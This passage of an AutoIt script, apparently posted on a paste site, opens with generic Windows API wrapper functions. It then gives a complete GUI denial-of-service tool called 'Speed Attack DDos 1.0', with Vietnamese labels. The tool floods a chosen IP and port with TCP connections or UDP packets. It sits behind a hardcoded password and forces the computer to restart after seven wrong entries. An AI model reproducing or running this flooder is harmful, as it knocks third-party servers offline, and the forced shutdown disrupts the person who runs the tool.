  4258. If @error Then Return SetError(@error, @extended, "")
  4259. Return SetExtended($aresult[0], $aresult[2])
  4260. EndFunc
  4261.  
  4262. Func _winapi_stringlena($vstring)
  4263. Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring)
  4264. If @error Then Return SetError(1, @extended, 0)
  4265. Return $acall[0]
  4266. EndFunc
  4267.  
  4268. Func _winapi_stringlenw($vstring)
  4269. Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring)
  4270. If @error Then Return SetError(1, @extended, 0)
  4271. Return $acall[0]
  4272. EndFunc
  4273.  
  4274. Func _winapi_sublangid($lgid)
  4275. Return BitShift($lgid, 10)
  4276. EndFunc
  4277.  
  4278. Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
  4279. Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
  4280. If @error Then Return SetError(@error, @extended, False)
  4281. Return $aresult[0]
  4282. EndFunc
  4283.  
  4284. Func _winapi_twipsperpixelx()
  4285. Local $lngdc, $twipsperpixelx
  4286. $lngdc = _winapi_getdc(0)
  4287. $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
  4288. _winapi_releasedc(0, $lngdc)
  4289. Return $twipsperpixelx
  4290. EndFunc
  4291.  
  4292. Func _winapi_twipsperpixely()
  4293. Local $lngdc, $twipsperpixely
  4294. $lngdc = _winapi_getdc(0)
  4295. $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
  4296. _winapi_releasedc(0, $lngdc)
  4297. Return $twipsperpixely
  4298. EndFunc
  4299.  
  4300. Func _winapi_unhookwindowshookex($hhk)
  4301. Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
  4302. If @error Then Return SetError(@error, @extended, False)
  4303. Return $aresult[0]
  4304. EndFunc
  4305.  
  4306. Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
  4307. Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
  4308. If @error Then Return SetError(@error, @extended, False)
  4309. Return $aresult[0]
  4310. EndFunc
  4311.  
  4312. Func _winapi_updatewindow($hwnd)
  4313. Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
  4314. If @error Then Return SetError(@error, @extended, False)
  4315. Return $aresult[0]
  4316. EndFunc
  4317.  
  4318. Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
  4319. Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
  4320. If @error Then Return SetError(@error, @extended, False)
  4321. Return $aresult[0]
  4322. EndFunc
  4323.  
  4324. Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
  4325. Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
  4326. If @error Then Return SetError(@error, @extended, -1)
  4327. Return $aresult[0]
  4328. EndFunc
  4329.  
  4330. Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
  4331. Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
  4332. If @error Then Return SetError(@error, @extended, -1)
  4333. Return $aresult[0]
  4334. EndFunc
  4335.  
  4336. Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
  4337. Local $sunicodetype = "wstr"
  4338. If NOT IsString($punicode) Then $sunicodetype = "struct*"
  4339. Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  4340. If @error Then Return SetError(@error, @extended, "")
  4341. Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
  4342. $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
  4343. If @error Then Return SetError(@error, @extended, "")
  4344. If $bretstring Then Return DllStructGetData($tmultibyte, 1)
  4345. Return $tmultibyte
  4346. EndFunc
  4347.  
  4348. Func _winapi_windowfrompoint(ByRef $tpoint)
  4349. Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
  4350. If @error Then Return SetError(1, @extended, 0)
  4351. Return $aresult[0]
  4352. EndFunc
  4353.  
  4354. Func _winapi_writeconsole($hconsole, $stext)
  4355. Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
  4356. If @error Then Return SetError(@error, @extended, False)
  4357. Return $aresult[0]
  4358. EndFunc
  4359.  
  4360. Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
  4361. Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
  4362. If @error Then Return SetError(@error, @extended, False)
  4363. $iwritten = $aresult[4]
  4364. Return $aresult[0]
  4365. EndFunc
  4366.  
  4367. Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
  4368. Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  4369. If @error Then Return SetError(@error, @extended, False)
  4370. $iwritten = $aresult[5]
  4371. Return $aresult[0]
  4372. EndFunc
  4373.  
  4374. #NoTrayIcon
  4375. GUICreate("Speed Attack DDos 1.0 D-K")
  4376. GUISetState()
  4377. $input = GUICtrlCreateInput(" ", 50, 50, "", "", 32)
  4378. $kiemtra = GUICtrlCreateButton("Kiểm tra PassWord", 50, 200)
  4379. GUICtrlSetBkColor(-1, 16711680)
  4380. $number = 0
  4381. MsgBox(0, "Thông báo", "Hãy nhập mật khẩu của Tool Vao Đây")
  4382. While 1
  4383. $event = GUIGetMsg()
  4384. If $event = $kiemtra Then
  4385. $matkhau = GUICtrlRead($input)
  4386. If $matkhau = "dnduykhang-mzg@1234!@#$" Then
  4387. MsgBox(0, "Thành công", "Bạn đã nhập chính xác mật khẩu Mời Bạn Qua Tool DDos")
  4388. ExitLoop
  4389. Else
  4390. $number = $number + 1
  4391. MsgBox(0, "Không thành công", "Nhập mật khẩu sai lần " & $number)
  4392. If $number = 7 Then
  4393. MsgBox(0, "Warning", "Bạn đã nhập sai mật khẩu quá nhiều khởi động lại máy tính")
  4394. Shutdown(6)
  4395. EndIf
  4396. EndIf
  4397. EndIf
  4398. WEnd
  4399. GUICreate("Speed Attack Flood 1.0", 380, 460, -1, -1, $ws_sizebox)
  4400. GUICtrlSetBkColor(-1, 16711680)
  4401. GUISetFont(8, 8, 0, "DuyKhang")
  4402. GUICtrlSetBkColor(-1, 49151)
  4403. GUICtrlCreateLabel("Nhap IP Can tan Cong:", 5, 5)
  4404. $ip = GUICtrlCreateInput(@IPAddress1, 5, 25, 175, 20)
  4405. GUISetFont(8, 8, 0, "DuyKhang")
  4406. GUICtrlCreateLabel("Chon the loai tan cong:", 200, 5)
  4407. $protocol = GUICtrlCreateCombo("TCP", 200, 25, 175, 20, $cbs_dropdownlist)
  4408. GUICtrlSetData($protocol, "UDP|", "UDP")
  4409. GUICtrlSetBkColor(-1, 16711680)
  4410. GUICtrlCreateLabel("Nhap Port:", 200, 55)
  4411. $port = GUICtrlCreateInput("80", 200, 75, 175, 20)
  4412. GUICtrlCreateLabel("Data to Send:", 200, 105)
  4413. $data = GUICtrlCreateInput("D-K Maze-GameVN", 200, 125, 175, 20)
  4414. GUICtrlCreateLabel("Gui Du Lieu Phan Hoi Den Muc Tieu:", 5, 55)
  4415. $con = GUICtrlCreateInput("999", 5, 75, 175, 20)
  4416. GUICtrlCreateLabel("Thoi gian tan cong :", 5, 105)
  4417. $timeout = GUICtrlCreateInput("999", 5, 125, 175, 20)
  4418. $start = GUICtrlCreateButton("Start DDoS!", 5, 185, 175, 20)
  4419. GUICtrlSetBkColor(-1, 49151)
  4420. $stop = GUICtrlCreateButton("Stop DDoS!", 200, 185, 175, 20, $ws_disabled)
  4421. GUICtrlSetBkColor(-1, 49151)
  4422. GUICtrlCreateLabel("Nhan Du Lieu Flood:", 5, 155)
  4423. GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang")
  4424. $connectionslabel = GUICtrlCreateLabel("0", 155, 155, 60)
  4425. GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang")
  4426. $ransock = GUICtrlCreateCheckbox("Random Sent Data ", 200, 155)
  4427. GUICtrlSetState($ransock, $gui_checked)
  4428. $log = GUICtrlCreateEdit("Speed Attack Flood Version 1.0 Code By DuyKhang-MZG ( Moi Chi tiet thac mac xin lien he : thaidaica123m@yahoo.com!!!", 5, 215, 370, 240, BitOR($ws_vscroll, $es_autovscroll, $es_readonly))
  4429. $num = GUICtrlRead($con)
  4430. GUICtrlSetBkColor(-1, 16745466)
  4431.  
  4432. Func _addlog($string)
  4433. $currentlog = GUICtrlRead($log)
  4434. $newlog = $currentlog & @CRLF & $string
  4435. GUICtrlSetData($log, $newlog)
  4436. EndFunc
  4437.  
  4438. GUISetState()
  4439. While 1
  4440. $msg = GUIGetMsg()
  4441. If $msg = $gui_event_close Then Exit
  4442. If $msg = $stop Then
  4443. $i = $num
  4444. GUICtrlSetData($connectionslabel, "0")
  4445. GUICtrlSetState($start, $gui_enable)
  4446. GUICtrlSetState($stop, $gui_disable)
  4447. EndIf
  4448. If $msg = $start Then
  4449. GUICtrlSetData($log, "Speed Attack Flood Version 1.0 Code By DuyKhang-MZG !!!", "")
  4450. GUICtrlSetState($start, $gui_disable)
  4451. GUICtrlSetState($stop, $gui_enable)
  4452. $sip = GUICtrlRead($ip)
  4453. $iport = GUICtrlRead($port)
  4454. $ilength = GUICtrlRead($timeout)
  4455. $num = GUICtrlRead($con)
  4456. Local $sock
  4457. Local $soutbuffer = "D-K MazeGameVN"
  4458. Global $i = 0
  4459. _addlog(@CRLF & "Target: " & $sip & @CRLF & "Port: " & $iport & @CRLF & "Protocol: " & GUICtrlRead($protocol) & @CRLF & "Number: " & $num & @CRLF & "Timeout: " & $ilength & @CRLF)
  4460. If GUICtrlRead($protocol) = "TCP" Then attacktcp()
  4461. If GUICtrlRead($protocol) = "UDP" Then attackudp()
  4462. EndIf
  4463. WEnd
  4464.  
  4465. Func attacktcp()
  4466. Opt("TCPTimeout", $ilength)
  4467. TCPStartup()
  4468. While 1
  4469. $i = $i + 1
  4470. GUICtrlSetData($connectionslabel, $i, "")
  4471. $sock = TCPConnect(TCPNameToIP($sip), $iport)
  4472. $send = TCPSend($sock, $soutbuffer)
  4473. If $i = $num Then ExitLoop
  4474. _addlog("Sending TCP Packet (" & $send & " bytes) - Socket: " & $sock & " - Port: " & $iport)
  4475. If GUICtrlRead($ransock) = 4 Then TCPCloseSocket($sock)
  4476. WEnd
  4477. If GUICtrlRead($ransock) = 1 Then TCPCloseSocket($sock)
  4478. _addlog("Done!")
  4479. $num = GUICtrlRead($con)
  4480. TCPShutdown()
  4481. GUICtrlSetState($start, $gui_enable)
  4482. GUICtrlSetState($stop, $gui_disable)
  4483. GUICtrlSetData($connectionslabel, "0")
  4484. EndFunc
  4485.  
  4486. Func attackudp()
  4487. UDPStartup()
  4488. Opt("TCPTimeout", $ilength)
  4489. TCPStartup()
  4490. While 1
  4491. $i = $i + 1
  4492. GUICtrlSetData($connectionslabel, $i, "")
  4493. $sock = UDPOpen($sip, $iport, 1)
  4494. Sleep($ilength)
  4495. $send = UDPSend($sock, $soutbuffer)
  4496. _addlog("Sending UDP Packet (" & $send & " bytes) - Port: " & $iport)
  4497. If GUICtrlRead($ransock) = 4 Then UDPCloseSocket($sock)
  4498. WEnd
  4499. If GUICtrlRead($ransock) = 1 Then UDPCloseSocket($sock)
  4500. _addlog("Done!")
  4501. UDPCloseSocket($sock)
  4502. $num = GUICtrlRead($con)
  4503. UDPShutdown()
  4504. TCPShutdown()
  4505. GUICtrlSetState($start, $gui_enable)
  4506. GUICtrlSetState($stop, $gui_disable)
  4507. GUICtrlSetData($connectionslabel, "0")
  4508. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement